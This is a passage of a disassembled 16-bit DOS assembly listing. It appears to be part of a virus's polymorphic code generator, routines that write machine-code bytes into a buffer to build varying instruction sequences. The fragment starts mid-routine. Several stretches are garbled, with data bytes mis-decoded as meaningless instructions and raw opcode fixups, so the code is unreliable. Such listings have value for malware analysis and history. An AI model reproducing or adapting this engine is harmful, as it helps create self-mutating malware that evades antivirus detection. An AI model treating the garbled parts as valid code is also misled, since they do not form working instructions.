ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß sub_39: and al,3 jnz loc_82 ; Jump if not zero mov al,7 loc_82: xor al,4 loc_83: cbw ; Convrt byte to word mov bx,ax xchg bh,[bx+si-8] or bh,bh ; Zero ? jz loc_81 ; Jump if zero stosb ; Store al to es:[di] loc_ret_84: retn sub_37 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_40 proc near mov word ptr [si+2],80FFh xor bh,bh ; Zero register mov al,[bx] and ax,7Fh shl bl,1 ; Shift w/zeros fill mov dx,0FF00h dec ax jz loc_ret_84 ; Jump if zero mov dh,[si] dec ax jz loc_ret_84 ; Jump if zero mov dx,[bx+21h] js loc_ret_84 ; Jump if sign=1 push ax push dx push bx mov bl,dh call sub_40 ; (0737) pop bx pop cx pop ax cmp al,0Ch jne loc_89 ; Jump if not equal or dl,dl ; Zero ? jnz loc_ret_84 ; Jump if not zero cmp dh,[si] je loc_ret_84 ; Jump if equal push ax push cx push bx push dx call sub_43 ; (0981) pop dx mov ax,[si+1] cmp dh,al jne loc_85 ; Jump if not equal or ah,ah ; Zero ? jz loc_86 ; Jump if zero loc_85: mov bl,85h call sub_18 ; (0447) loc_86: pop bx mov al,75h ; 'u' stosb ; Store al to es:[di] inc bp jz loc_88 ; Jump if zero cmp di,data_15e ; (5F44:0359=0FFh) jb loc_87 ; Jump if below add byte ptr [di-1],57h ; 'W' loc_87: mov ax,di xchg ax,[bx+63h] mov ds:data_12e[bx],ax ; (5F44:00E7=0FFFFh) loc_88: dec bp inc di mov dx,di jmp short loc_96 ; (080D) loc_89: push ax push cx or dl,dl ; Zero ? jnz loc_96 ; Jump if not zero cmp dh,[si+1] jne loc_96 ; Jump if not equal mov al,[si+3] or al,al ; Zero ? js loc_91 ; Jump if sign=1 and al,7 jz loc_90 ; Jump if zero cmp al,[si] je loc_91 ; Jump if equal cmp al,3 jb loc_91 ; Jump if below loc_90: xor byte ptr [di-2],2 test byte ptr [si+3],40h ; '@' jz loc_94 ; Jump if zero push ax or al,0D8h mov ah,al mov al,0F7h stosw ; Store ax to es:[di] pop ax jmp short loc_94 ; (0807) loc_91: call sub_41 ; (07DA) ;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß sub_41: mov cx,8 loc_92: push ax mov al,dh or al,50h ; 'P' stosb ; Store al to es:[di] pop ax mov bl,80h jcxz loc_95 ; Jump if cx=0 dec di dec cx inc ax and al,7 cbw ; Convrt byte to word mov bx,ax mov ah,[bx+si-8] or ah,ah ; Zero ? jz loc_92 ; Jump if zero dec bx jnz loc_93 ; Jump if not zero pop bx push bx xor bh,bh ; Zero register mov ah,[bx] or ah,ah ; Zero ? js loc_92 ; Jump if sign=1 loc_93: ;* call sub_44 ;*(0984) db 0E8h, 7Dh, 01h loc_94: xchg ax,bx inc byte ptr [bx+si-8] loc_95: mov dh,bl loc_96: pop bx push dx call sub_40 ; (0737) call sub_43 ; (0981) pop dx pop ax mov byte ptr [si+3],80h cmp al,0Ch jne loc_97 ; Jump if not equal mov bx,dx mov dx,di sub dx,bx mov [bx-1],dl ;* jmp loc_122 ;*(094D) db 0E9h, 22h, 01h loc_97: mov ch,ah push ax or dl,dl ; Zero ? jnz loc_100 ; Jump if not zero cmp dh,80h jne loc_99 ; Jump if not equal sub al,5 cmp al,4 mov al,1 jc loc_98 ; Jump if carry Set inc ax loc_98: mov dh,al or al,58h ; 'X' stosb ; Store al to es:[di] jmp short loc_100 ; (0856) loc_99: or dh,dh ; Zero ? js loc_100 ; Jump if sign=1 cmp dh,[si] je loc_100 ; Jump if equal mov bl,dh xor bh,bh ; Zero register dec byte ptr [bx+si-8] loc_100: pop ax mov bl,0Bh sub al,9 jz loc_101 ; Jump if zero mov bl,23h ; '#' dec ax jz loc_101 ; Jump if zero add al,6 cbw ; Convrt byte to word jns loc_109 ; Jump if not sign mov bl,33h ; '3' inc ax jz loc_101 ; Jump if zero mov bl,3 jp loc_101 ; Jump if parity=1 mov bl,2Bh ; '+' loc_101: mov al,[si+1] or dl,dl ; Zero ? jnz loc_104 ; Jump if not zero and dh,87h cmp bl,2Bh ; '+' jne loc_102 ; Jump if not equal or dh,40h ; '@' loc_102: mov [si+3],dh loc_103: ;* call sub_12 ;*(03D2) db 0E8h, 48h,0FBh jnc loc_116 ; Jump if carry=0 or al,al ; Zero ? jz loc_104 ; Jump if zero inc bp loc_104: xor bl,6 push dx inc dx inc dx cmp dx,5 pop dx jnc loc_113 ; Jump if carry=0 or ax,ax ; Zero ? js loc_106 ; Jump if sign=1 cmp bl,35h ; '5' jne loc_113 ; Jump if not equal inc dx jnz loc_112 ; Jump if not zero mov dh,al mov al,2 loc_105: mov bl,0F7h mov ch,bl jmp short loc_103 ; (0887) loc_106: or dx,dx ; Zero ? jns loc_107 ; Jump if not sign neg dx xor bl,28h ; '(' loc_107: or al,40h ; '@' cmp bl,5 je loc_108 ; Jump if equal or al,8 loc_108: stosb ; Store al to es:[di] dec dx jz loc_116 ; Jump if zero stosb ; Store al to es:[di] jmp short loc_116 ; (08FD) loc_109: mov cl,4 jnz loc_117 ; Jump if not zero loc_110: or dl,dl ; Zero ? jz loc_111 ; Jump if zero mov ax,2BAh stosb ; Store al to es:[di] xchg ax,dx stosw ; Store ax to es:[di] loc_111: xchg ax,cx jmp short loc_105 ; (08AD) loc_112: dec dx loc_113: or al,al ; Zero ? jz loc_115 ; Jump if zero and bl,38h ; '8' or al,0C0h or bl,al mov al,dl cbw ; Convrt byte to word xor ax,dx mov al,81h jnz loc_114 ; Jump if not zero mov al,83h stc ; Set carry flag loc_114: stosb ; Store al to es:[di] loc_115: xchg ax,bx stosb ; Store al to es:[di] xchg ax,dx stosw ; Store ax to es:[di] jnc loc_116 ; Jump if carry=0 dec di loc_116: ;* jmp short loc_121 ;*(094A) db 0EBh, 4Bh loc_117: inc cx cmp al,7 je loc_110 ; Jump if equal inc ax cmp al,4 pushf ; Push flags jnc loc_118 ; Jump if carry=0 sub al,2 loc_118: or dl,dl ; Zero ? ;* jnz loc_123 ;*Jump if not zero db 75h, 43h push ax mov al,1 mov bl,8Ah mov ch,bl cmp dh,3 je loc_119 ; Jump if equal inc bx loc_119: ;* call sub_15 ;*(0424) db 0E8h, 04h,0FBh pop ax popf ; Pop flags push ax jc loc_120 ; Jump if carry Set mov ax,1F80h test ah,[si-1Dh] jz loc_120 ; Jump if zero stosb ; Store al to es:[di] mov al,0E1h stosw ; Store ax to es:[di] loc_120: pop ax mov bl,0D3h mov dl,1 les bx,dword ptr [si+1Ah] ; Load 32 bit ptr nop ;*ASM fixup - displacement test al,[bx+16h] add [bp+si],ax test bl,dl push ss add [bp+si],ax test ax,ax push ss add [bp+si],ax test cx,si push ss add [bp+si],ax xchg al,ds:data_13e[di] ; (5F44:0116=0FFh) add al,[bx+di] mov al,ds:data_11e ; (5F44:0071=0FFh) add di,ax pop es loc_125: mov dh,[si+1] ;* call sub_20 ;*(046B) db 0E8h, 0Bh,0FBh xchg ax,dx cmp bl,0C1h je loc_126 ; Jump if equal shr al,1 ; Shift w/zeros fill jc loc_127 ; Jump if carry Set xchg ax,bx stosb ; Store al to es:[di] xchg ax,dx loc_126: stosb ; Store al to es:[di] loc_127: mov [si+2],ch loc_128: mov dh,[si+1] xor dl,dl ; Zero register retn sub_40 endp mov bl,0C1h popf ; Pop flags jnc loc_129 ; Jump if carry=0 mov ch,bl test dl,8 ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_43 proc near jz loc_129 ; Jump if zero neg dl xor al,1 loc_129: and dl,0Fh jz loc_128 ; Jump if zero cmp dl,1 je loc_130 ; Jump if equal cmp ah,[si-1Dh] je loc_125 ; Jump if equal loc_130: mov bl,0D1h cmp dl,3 jb loc_125 ; Jump if below push ax mov al,0B1h mov ah,dl stosw ; Store ax to es:[di] ;* jmp short loc_124 ;*(0955) sub_43 endp db 0EBh,0B0h mov al,[si+1] cbw ; Convrt byte to word push ax cmp di,359h jae loc_131 ; Jump if above or = mov bx,ax mov [bx+si-10h],bh loc_131: or dl,dl ; Zero ? jnz loc_132 ; Jump if not zero mov bl,8Bh call sub_17 ; (0444) jnc loc_133 ; Jump if carry=0 loc_132: or al,0B8h stosb ; Store al to es:[di] xchg ax,dx stosw ; Store ax to es:[di] loc_133: pop ax retn db 0A2h, 8Ah, 02h, 00h, 00h, 74h seg_a ends end start